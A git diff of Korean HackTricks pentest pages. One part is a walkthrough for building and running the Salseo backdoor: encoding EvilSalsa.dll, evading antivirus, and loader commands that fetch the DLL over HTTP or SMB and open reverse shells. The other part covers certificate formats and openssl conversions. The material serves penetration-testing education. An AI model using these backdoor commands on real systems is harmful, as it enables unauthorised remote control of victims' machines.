-* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
-* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-## 이진 파일 컴파일
+## 바이너리 컴파일
-깃허브에서 소스 코드를 다운로드하고 **EvilSalsa** 및 **SalseoLoader**를 컴파일하세요. 코드를 컴파일하려면 **Visual Studio**가 설치되어 있어야 합니다.
+github에서 소스 코드를 다운로드하고 **EvilSalsa**와 **SalseoLoader**를 컴파일합니다. 코드를 컴파일하려면 **Visual Studio**가 설치되어 있어야 합니다.
-이러한 프로젝트를 **Windows 상자의 아키텍처**에 맞게 컴파일하세요(Windows가 x64를 지원하는 경우 해당 아키텍처로 컴파일하세요).
+사용할 윈도우 박스의 아키텍처에 맞게 프로젝트를 컴파일합니다(윈도우가 x64를 지원하면 해당 아키텍처로 컴파일합니다).
-**Visual Studio**에서 **"Platform Target"**에서 **아키텍처를 선택**할 수 있습니다.
+**Visual Studio**의 **왼쪽 "Build" 탭**에서 **"Platform Target"**을 통해 **아키텍처를 선택**할 수 있습니다.
-(\*\*이 옵션을 찾을 수 없는 경우 **"프로젝트 탭"**을 누르고 **"\<프로젝트 이름> 속성"**을 선택하세요)
+(\*\*이 옵션을 찾을 수 없으면 **"Project Tab"**을 클릭한 다음 **"\ Properties"**를 클릭하세요)
![](<../.gitbook/assets/image (839).png>)
-그런 다음, 두 프로젝트를 빌드하세요 (빌드 -> 솔루션 빌드) (로그 내에서 실행 파일의 경로가 표시됩니다):
+그런 다음 두 프로젝트를 빌드합니다 (Build -> Build Solution) (로그 안에 실행 파일의 경로가 나타납니다):
![](<../.gitbook/assets/image (381).png>)
## 백도어 준비
-먼저, **EvilSalsa.dll을 인코딩**해야 합니다. 이를 위해 **encrypterassembly.py** 파이썬 스크립트를 사용하거나 프로젝트 **EncrypterAssembly**를 컴파일할 수 있습니다:
+우선, **EvilSalsa.dll**을 인코딩해야 합니다. 이를 위해 **encrypterassembly.py**라는 파이썬 스크립트를 사용하거나 **EncrypterAssembly** 프로젝트를 컴파일할 수 있습니다.
### **Python**
```
python EncrypterAssembly/encrypterassembly.py
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
-### Windows
+### 윈도우
```
EncrypterAssembly.exe
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
-이제 Salseo 작업을 실행하는 데 필요한 모든 것을 갖추었습니다: **인코딩된 EvilDalsa.dll**과 **SalseoLoader의 이진 파일**.
+알겠습니다. 이제 모든 Salseo 작업을 실행하는 데 필요한 모든 것이 있습니다: **인코딩된 EvilDalsa.dll**과 **SalseoLoader의 바이너리.**
-**SalseoLoader.exe 바이너리를 기계에 업로드하세요. 어떤 AV에서도 감지되지 않아야 합니다...**
+**SalseoLoader.exe 바이너리를 머신에 업로드하세요. 어떤 AV에도 탐지되지 않아야 합니다...**
## **백도어 실행**
-### **TCP 역쉘 가져오기 (HTTP를 통해 인코딩된 dll 다운로드)**
+### **TCP 리버스 셸 얻기 (HTTP를 통해 인코딩된 dll 다운로드)**
-인코딩된 evilsalsa를 제공하기 위해 HTTP 서버를 시작하고 역쉘 리스너로 nc를 시작하는 것을 기억하세요.
+nc를 리버스 셸 리스너로 시작하고 인코딩된 evilsalsa를 제공할 HTTP 서버를 시작하는 것을 잊지 마세요.
```
SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp
```
-### **UDP 리버스 쉘 획득 (SMB를 통해 인코딩된 dll 다운로드)**
+### **UDP 리버스 셸 얻기 (SMB를 통한 인코딩된 dll 다운로드)**
-UDP 리버스 쉘 수신기로 nc를 시작하고 인코딩된 evilsalsa를 제공하기 위해 SMB 서버를 시작하는 것을 기억하세요 (impacket-smbserver).
+리버스 셸 리스너로 nc를 시작하고, 인코딩된 evilsalsa를 제공하기 위해 SMB 서버를 시작하는 것을 잊지 마세요 (impacket-smbserver).
```
SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp
```
-### **ICMP 역쉘 획득하기 (인코딩된 dll 이미 피해자 내부에 존재)**
+### **ICMP 리버스 셸 얻기 (피해자 내부에 이미 인코딩된 dll)**
-**이번에는 역쉘을 수신하기 위해 클라이언트에 특수 도구가 필요합니다. 다운로드:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
+**이번에는 리버스 셸을 수신하기 위해 클라이언트에 특별한 도구가 필요합니다. 다운로드:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **ICMP 응답 비활성화:**
```
@@ -77,15 +78,15 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
python icmpsh_m.py "" ""
```
-#### 피해자 내부에서, salseo 작업을 실행합니다:
+#### 피해자 내부에서, salseo 작업을 실행해 보겠습니다:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp
```
-## SalseoLoader의 주 함수를 내보내는 DLL로 컴파일하기
+## SalseoLoader를 DLL로 컴파일하여 메인 함수 내보내기
Visual Studio를 사용하여 SalseoLoader 프로젝트를 엽니다.
-### 주 함수 앞에 추가: \[DllExport]
+### 메인 함수 앞에 추가: \[DllExport]
![](<../.gitbook/assets/image (409).png>)
@@ -95,59 +96,57 @@ Visual Studio를 사용하여 SalseoLoader 프로젝트를 엽니다.
![](<../.gitbook/assets/image (881).png>)
-#### **DllExport 패키지 검색 (탐색 탭 사용)하여 설치 (팝업 수락)**
+#### **DllExport 패키지 검색 (탭에서 찾아보기 사용), 설치를 누르고 (팝업을 수락)**
![](<../.gitbook/assets/image (100).png>)
프로젝트 폴더에 **DllExport.bat** 및 **DllExport\_Configure.bat** 파일이 나타납니다.
-### DllExport 제거
+### **U**ninstall DllExport
-**제거**를 누릅니다 (이상하지만, 필요합니다)
+**Uninstall**을 누릅니다 (이상하게 들리지만 믿어주세요, 필요합니다)
![](<../.gitbook/assets/image (97).png>)
-### Visual Studio를 종료하고 DllExport\_configure 실행
+### **Visual Studio 종료 및 DllExport\_configure 실행**
-그냥 Visual Studio를 **종료**합니다
+그냥 **종료**합니다 Visual Studio
-그런 다음, **SalseoLoader 폴더**로 이동하여 **DllExport\_Configure.bat**을 실행합니다
+그런 다음, **SalseoLoader 폴더**로 가서 **DllExport\_Configure.bat**를 실행합니다.
-**x64**를 선택합니다 (x64 상자 내에서 사용할 경우), **System.Runtime.InteropServices** (DllExport의 네임스페이스 내)를 선택하고 **적용**을 누릅니다
+**x64**를 선택합니다 (x64 박스 내에서 사용할 경우, 제 경우가 그랬습니다), **System.Runtime.InteropServices**를 선택합니다 ( **DllExport**의 **네임스페이스** 내에서) 그리고 **적용**을 누릅니다.
![](<../.gitbook/assets/image (882).png>)
-### 프로젝트를 다시 Visual Studio로 엽니다
+### **Visual Studio로 프로젝트 다시 열기**
-**\[DllExport]**가 더 이상 오류로 표시되지 않아야 합니다
+**\[DllExport]**는 더 이상 오류로 표시되지 않아야 합니다.
![](<../.gitbook/assets/image (670).png>)
### 솔루션 빌드
-**출력 유형 = 클래스 라이브러리** 선택 (프로젝트 --> SalseoLoader 속성 --> 응용 프로그램 --> 출력 유형 = 클래스 라이브러리)
+**출력 유형 = 클래스 라이브러리**를 선택합니다 (프로젝트 --> SalseoLoader 속성 --> 응용 프로그램 --> 출력 유형 = 클래스 라이브러리)
![](<../.gitbook/assets/image (847).png>)
-**x64 플랫폼** 선택 (프로젝트 --> SalseoLoader 속성 --> 빌드 --> 플랫폼 대상 = x64)
-
-![](<../.gitbook/assets/image (285).png>)
+**x64** **플랫폼**을 선택합니다 (프로젝트 --> SalseoLoader 속성 --> 빌드 --> 플랫폼 대상 = x64)
솔루션을 **빌드**하려면: 빌드 --> 솔루션 빌드 (출력 콘솔 내에 새 DLL의 경로가 나타납니다)
### 생성된 Dll 테스트
-Dll을 테스트하려는 위치로 복사하여 붙여넣습니다.
+테스트할 위치에 Dll을 복사하고 붙여넣습니다.
실행:
```
rundll32.exe SalseoLoader.dll,main
```
-만약 오류가 나타나지 않는다면, 아마도 기능적인 DLL이 있을 것입니다!!
+오류가 나타나지 않으면, 아마도 기능하는 DLL이 있는 것입니다!!
-## DLL을 사용하여 쉘 획득
+## DLL을 사용하여 셸 얻기
-**HTTP** **서버**를 사용하고 **nc** **리스너**를 설정하는 것을 잊지 마세요
+**HTTP** **서버**를 사용하고 **nc** **리스너**를 설정하는 것을 잊지 마세요.
### Powershell
```
@@ -158,8 +157,6 @@ $env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
-### CMD
-
### CMD
```
set pass=password
@@ -169,16 +166,17 @@ set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-제로부터 영웨이 에이브이에스 해킹을 전문가로 배우세요htARTE (HackTricks AWS Red Team Expert)!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
-* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %}
diff --git a/crypto-and-stego/certificates.md b/crypto-and-stego/certificates.md
index 52d1d5f00..45bf2e4cd 100644
--- a/crypto-and-stego/certificates.md
+++ b/crypto-and-stego/certificates.md
@@ -1,58 +1,59 @@
-# 인증서
+# Certificates
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!
+Support HackTricks
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
\
-[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates)를 사용하여 **세계에서 가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
-오늘 바로 액세스하세요:
+Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
-## 인증서란
+## What is a Certificate
-**공개 키 인증서**는 암호학에서 사용되는 디지털 ID로, 누군가가 공개 키를 소유하고 있음을 증명하는 데 사용됩니다. 이는 키의 세부 정보, 소유자의 신원(주체) 및 신뢰할 수 있는 기관(발급자)의 디지털 서명을 포함합니다. 소프트웨어가 발급자를 신뢰하고 서명이 유효하다면, 해당 키의 소유자와 안전한 통신이 가능합니다.
+A **public key certificate**는 암호학에서 누군가가 공개 키를 소유하고 있음을 증명하는 디지털 ID입니다. 여기에는 키의 세부정보, 소유자의 신원(주체), 그리고 신뢰할 수 있는 기관(발급자)의 디지털 서명이 포함됩니다. 소프트웨어가 발급자를 신뢰하고 서명이 유효하면 키 소유자와의 안전한 통신이 가능합니다.
-인증서는 주로 [인증 기관](https://en.wikipedia.org/wiki/Certificate\_authority)(CAs)에 의해 [공개 키 인프라](https://en.wikipedia.org/wiki/Public-key\_infrastructure)(PKI) 설정에서 발급됩니다. 다른 방법은 사용자가 서로 키를 직접 확인하는 [신뢰 웹](https://en.wikipedia.org/wiki/Web\_of\_trust)입니다. 인증서의 일반적인 형식은 [X.509](https://en.wikipedia.org/wiki/X.509)이며, RFC 5280에서 개별 요구 사항에 맞게 조정할 수 있습니다.
+인증서는 주로 [인증 기관](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs)에 의해 [공개 키 인프라](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI) 설정에서 발급됩니다. 또 다른 방법은 [신뢰의 웹](https://en.wikipedia.org/wiki/Web\_of\_trust)으로, 사용자가 서로의 키를 직접 검증하는 방식입니다. 인증서의 일반적인 형식은 [X.509](https://en.wikipedia.org/wiki/X.509)이며, RFC 5280에 설명된 대로 특정 요구에 맞게 조정될 수 있습니다.
-## x509 공통 필드
+## x509 Common Fields
-### **x509 인증서의 공통 필드**
+### **Common Fields in x509 Certificates**
-x509 인증서에서 여러 **필드**가 인증서의 유효성과 보안을 보장하는 데 중요한 역할을 합니다. 이러한 필드를 살펴보겠습니다:
+x509 인증서에서 여러 **필드**는 인증서의 유효성과 보안을 보장하는 데 중요한 역할을 합니다. 다음은 이러한 필드의 분류입니다:
-* **버전 번호**는 x509 형식의 버전을 나타냅니다.
-* **일련 번호**는 주로 폐기 추적을 위해 인증 기관(CA) 시스템 내에서 인증서를 고유하게 식별합니다.
-* **주체** 필드는 인증서의 소유자를 나타내며, 기계, 개인 또는 조직일 수 있습니다. 다음과 같은 자세한 식별 정보를 포함합니다:
-* **일반 이름 (CN)**: 인증서가 적용되는 도메인.
-* **국가 (C)**, **지역 (L)**, **주 또는 지방 (ST, S 또는 P)**, **조직 (O)** 및 **조직 단위 (OU)**는 지리적 및 조직적 세부 정보를 제공합니다.
-* **식별 이름 (DN)**은 전체 주체 식별을 캡슐화합니다.
-* **발급자**는 인증서를 확인하고 서명한 사람을 나타내며, CA에 대한 주체와 유사한 하위 필드를 포함합니다.
-* **유효 기간**은 **Not Before** 및 **Not After** 타임스탬프로 표시되어, 특정 날짜 이전 또는 이후에 인증서가 사용되지 않도록 합니다.
-* 인증서의 보안에 중요한 **공개 키** 섹션은 공개 키의 알고리즘, 크기 및 기술적 세부 정보를 지정합니다.
-* **x509v3 확장**은 인증서의 기능성을 향상시키며, **키 사용**, **확장 키 사용**, **주체 대체 이름** 및 인증서의 응용 프로그램을 세밀하게 조정하기 위한 기타 속성을 지정합니다.
+* **Version Number**는 x509 형식의 버전을 나타냅니다.
+* **Serial Number**는 인증서를 인증 기관(CA) 시스템 내에서 고유하게 식별하며, 주로 폐기 추적을 위해 사용됩니다.
+* **Subject** 필드는 인증서의 소유자를 나타내며, 이는 기계, 개인 또는 조직일 수 있습니다. 여기에는 다음과 같은 세부 식별 정보가 포함됩니다:
+* **Common Name (CN)**: 인증서가 적용되는 도메인.
+* **Country (C)**, **Locality (L)**, **State or Province (ST, S, 또는 P)**, **Organization (O)**, 및 **Organizational Unit (OU)**는 지리적 및 조직적 세부정보를 제공합니다.
+* **Distinguished Name (DN)**는 전체 주체 식별을 요약합니다.
+* **Issuer**는 인증서를 검증하고 서명한 사람을 나타내며, CA에 대한 주체와 유사한 하위 필드를 포함합니다.
+* **Validity Period**는 **Not Before** 및 **Not After** 타임스탬프로 표시되어 인증서가 특정 날짜 이전이나 이후에 사용되지 않도록 보장합니다.
+* **Public Key** 섹션은 인증서의 보안에 중요한 부분으로, 공개 키의 알고리즘, 크기 및 기타 기술적 세부정보를 지정합니다.
+* **x509v3 extensions**는 인증서의 기능을 향상시키며, **Key Usage**, **Extended Key Usage**, **Subject Alternative Name** 및 기타 속성을 지정하여 인증서의 적용을 세밀하게 조정합니다.
-#### **키 사용 및 확장**
+#### **Key Usage and Extensions**
-* **키 사용**은 공개 키의 암호화 응용 프로그램을 식별합니다. 예: 디지털 서명 또는 키 암호화.
-* **확장 키 사용**은 인증서의 사용 사례를 더 세분화합니다. 예: TLS 서버 인증용.
-* **주체 대체 이름** 및 **기본 제약**은 인증서가 적용되는 추가 호스트 이름 및 CA 또는 종단 개체 인증서인지 여부를 정의합니다.
-* **주체 키 식별자** 및 **발급자 키 식별자**는 키의 고유성과 추적 가능성을 보장합니다.
-* **발급자 정보 액세스** 및 **CRL 배포 지점**은 발급 CA를 확인하고 인증서 폐기 상태를 확인하기 위한 경로를 제공합니다.
-* **CT 사전 인증서 SCT**는 인증서에 대한 공개 신뢰에 중요한 투명성 로그를 제공합니다.
+* **Key Usage**는 공개 키의 암호화 응용 프로그램을 식별하며, 디지털 서명 또는 키 암호화와 같은 용도로 사용됩니다.
+* **Extended Key Usage**는 인증서의 사용 사례를 더욱 좁히며, 예를 들어 TLS 서버 인증을 위한 것입니다.
+* **Subject Alternative Name** 및 **Basic Constraint**는 인증서가 적용되는 추가 호스트 이름과 인증서가 CA인지 최종 엔티티 인증서인지를 정의합니다.
+* **Subject Key Identifier** 및 **Authority Key Identifier**와 같은 식별자는 키의 고유성과 추적 가능성을 보장합니다.
+* **Authority Information Access** 및 **CRL Distribution Points**는 발급 CA를 검증하고 인증서 폐기 상태를 확인하는 경로를 제공합니다.
+* **CT Precertificate SCTs**는 인증서에 대한 공공 신뢰를 위해 중요한 투명성 로그를 제공합니다.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@@ -74,99 +75,101 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
-### **OCSP와 CRL 배포 지점의 차이점**
+### **OCSP와 CRL 배포 지점의 차이**
-**OCSP** (**RFC 2560**)은 디지털 공개 키 인증서가 폐기되었는지 확인하기 위해 클라이언트와 응답기가 함께 작동하여 전체 **CRL**을 다운로드할 필요 없이 확인하는 방법입니다. 이 방법은 전통적인 **CRL**보다 효율적이며, 폐기된 인증서 일련 번호 목록을 제공하지만 잠재적으로 큰 파일을 다운로드해야 하는 **CRL**보다 더 효율적입니다. CRL에는 최대 512개의 항목이 포함될 수 있습니다. 자세한 내용은 [여기](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)에서 확인할 수 있습니다.
+**OCSP** (**RFC 2560**)는 클라이언트와 응답자가 협력하여 디지털 공개 키 인증서가 취소되었는지 확인하는 방법으로, 전체 **CRL**을 다운로드할 필요가 없습니다. 이 방법은 취소된 인증서 일련 번호 목록을 제공하지만 잠재적으로 큰 파일을 다운로드해야 하는 전통적인 **CRL**보다 더 효율적입니다. CRL은 최대 512개의 항목을 포함할 수 있습니다. 더 많은 세부정보는 [여기](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)에서 확인할 수 있습니다.
### **인증서 투명성이란**
-인증서 투명성은 SSL 인증서의 발급 및 존재가 도메인 소유자, CA 및 사용자에게 투명하게 보이도록하여 인증서 관련 위협에 대항하는 데 도움이 됩니다. 그 목표는 다음과 같습니다:
+인증서 투명성은 SSL 인증서의 발급 및 존재가 도메인 소유자, CA 및 사용자에게 보이도록 하여 인증서 관련 위협에 대응하는 데 도움을 줍니다. 그 목표는 다음과 같습니다:
-* 도메인 소유자의 동의 없이 CA가 도메인을 위한 SSL 인증서를 발급하는 것을 방지하는 것.
-* 실수로나 악의적으로 발급된 인증서를 추적하기 위한 공개 감사 시스템 설정.
-* 사용자를 사기적인 인증서로부터 보호하는 것.
+* 도메인 소유자의 지식 없이 CA가 도메인에 대한 SSL 인증서를 발급하는 것을 방지합니다.
+* 실수로 또는 악의적으로 발급된 인증서를 추적하기 위한 공개 감사 시스템을 구축합니다.
+* 사용자들을 사기성 인증서로부터 보호합니다.
#### **인증서 로그**
-인증서 로그는 네트워크 서비스에 의해 유지되는 인증서의 공개 감사 가능한, 추가 전용 레코드입니다. 이러한 로그는 감사 목적을 위한 암호학적 증거를 제공합니다. 발급 기관과 일반인 모두 이러한 로그에 인증서를 제출하거나 검증을 위해 쿼리할 수 있습니다. 로그 서버의 정확한 수는 고정되어 있지 않지만 전 세계적으로 천 개 미만으로 예상됩니다. 이러한 서버는 주로 CA, ISP 또는 관련 기관에 의해 독립적으로 관리될 수 있습니다.
+인증서 로그는 네트워크 서비스에 의해 유지되는 공개 감사 가능하고 추가 전용 기록입니다. 이러한 로그는 감사 목적으로 암호학적 증거를 제공합니다. 발급 기관과 대중 모두 이러한 로그에 인증서를 제출하거나 검증을 위해 쿼리할 수 있습니다. 로그 서버의 정확한 수는 고정되어 있지 않지만, 전 세계적으로 천 개 미만일 것으로 예상됩니다. 이러한 서버는 CA, ISP 또는 관심 있는 어떤 주체에 의해 독립적으로 관리될 수 있습니다.
#### **쿼리**
-어떤 도메인에 대한 인증서 투명성 로그를 탐색하려면 [https://crt.sh/](https://crt.sh)를 방문하십시오.
+어떤 도메인에 대한 인증서 투명성 로그를 탐색하려면 [https://crt.sh/](https://crt.sh) 를 방문하세요.
+
+인증서를 저장하는 다양한 형식이 있으며, 각 형식은 고유한 사용 사례와 호환성을 가지고 있습니다. 이 요약에서는 주요 형식을 다루고 이들 간의 변환에 대한 지침을 제공합니다.
## **형식**
### **PEM 형식**
-* 인증서에 가장 널리 사용되는 형식.
-* Base64 ASCII로 인코딩된 인증서 및 개인 키를 위한 별도의 파일이 필요.
+* 인증서에 가장 널리 사용되는 형식입니다.
+* 인증서와 개인 키를 위해 별도의 파일이 필요하며, Base64 ASCII로 인코딩됩니다.
* 일반적인 확장자: .cer, .crt, .pem, .key.
-* 주로 Apache 및 유사한 서버에서 사용됨.
+* 주로 Apache 및 유사한 서버에서 사용됩니다.
### **DER 형식**
-* 인증서의 이진 형식.
-* PEM 파일에 있는 "BEGIN/END CERTIFICATE" 문이 없음.
+* 인증서의 이진 형식입니다.
+* PEM 파일에서 발견되는 "BEGIN/END CERTIFICATE" 문이 없습니다.
* 일반적인 확장자: .cer, .der.
-* Java 플랫폼과 함께 자주 사용됨.
+* 종종 Java 플랫폼과 함께 사용됩니다.
### **P7B/PKCS#7 형식**
-* Base64 ASCII에 저장된 형식으로, .p7b 또는 .p7c 확장자를 가짐.
-* 개인 키를 제외한 인증서 및 체인 인증서만 포함.
-* Microsoft Windows 및 Java Tomcat에서 지원됨.
+* Base64 ASCII로 저장되며, 확장자는 .p7b 또는 .p7c입니다.
+* 개인 키를 제외하고 인증서와 체인 인증서만 포함됩니다.
+* Microsoft Windows 및 Java Tomcat에서 지원됩니다.
### **PFX/P12/PKCS#12 형식**
-* 서버 인증서, 중간 인증서 및 개인 키를 하나의 파일에 캡슐화하는 이진 형식.
+* 서버 인증서, 중간 인증서 및 개인 키를 하나의 파일에 캡슐화하는 이진 형식입니다.
* 확장자: .pfx, .p12.
-* 주로 Windows에서 인증서 가져오기 및 내보내기에 사용됨.
+* 주로 Windows에서 인증서 가져오기 및 내보내기에 사용됩니다.
### **형식 변환**
-호환성을 위해 **PEM 변환**이 필수적입니다:
+**PEM 변환**은 호환성을 위해 필수적입니다:
-* **x509를 PEM으로**
+* **x509 to PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
-* **PEM을 DER로 변환하기**
+* **PEM을 DER로**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
-* **DER를 PEM으로**
+* **DER to PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
-* **PEM을 P7B로 변환**
+* **PEM을 P7B로**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
-* **PKCS7를 PEM으로 변환**
+* **PKCS7에서 PEM으로**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**PFX 변환**은 Windows에서 인증서를 관리하는 데 중요합니다:
-* **PFX를 PEM으로**
+* **PFX에서 PEM으로**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
-* **PFX를 PKCS#8로 변환**에는 두 단계가 포함됩니다:
+* **PFX to PKCS#8**는 두 단계로 이루어집니다:
1. PFX를 PEM으로 변환
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
-2. PEM을 PKCS8로 변환합니다.
+2. PEM을 PKCS8로 변환하기
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
-* **P7B를 PFX로** 변환하려면 두 개의 명령이 필요합니다:
-1. P7B를 CER로 변환합니다.
+* **P7B to PFX** 또한 두 개의 명령이 필요합니다:
+1. P7B를 CER로 변환
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
-2. CER 및 개인 키를 PFX로 변환합니다.
+2. CER 및 개인 키를 PFX로 변환하기
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
@@ -175,21 +178,22 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
\
-[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates)를 사용하여 세계에서 **가장** **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
-오늘 바로 액세스하세요:
+[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
+지금 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com) 받기
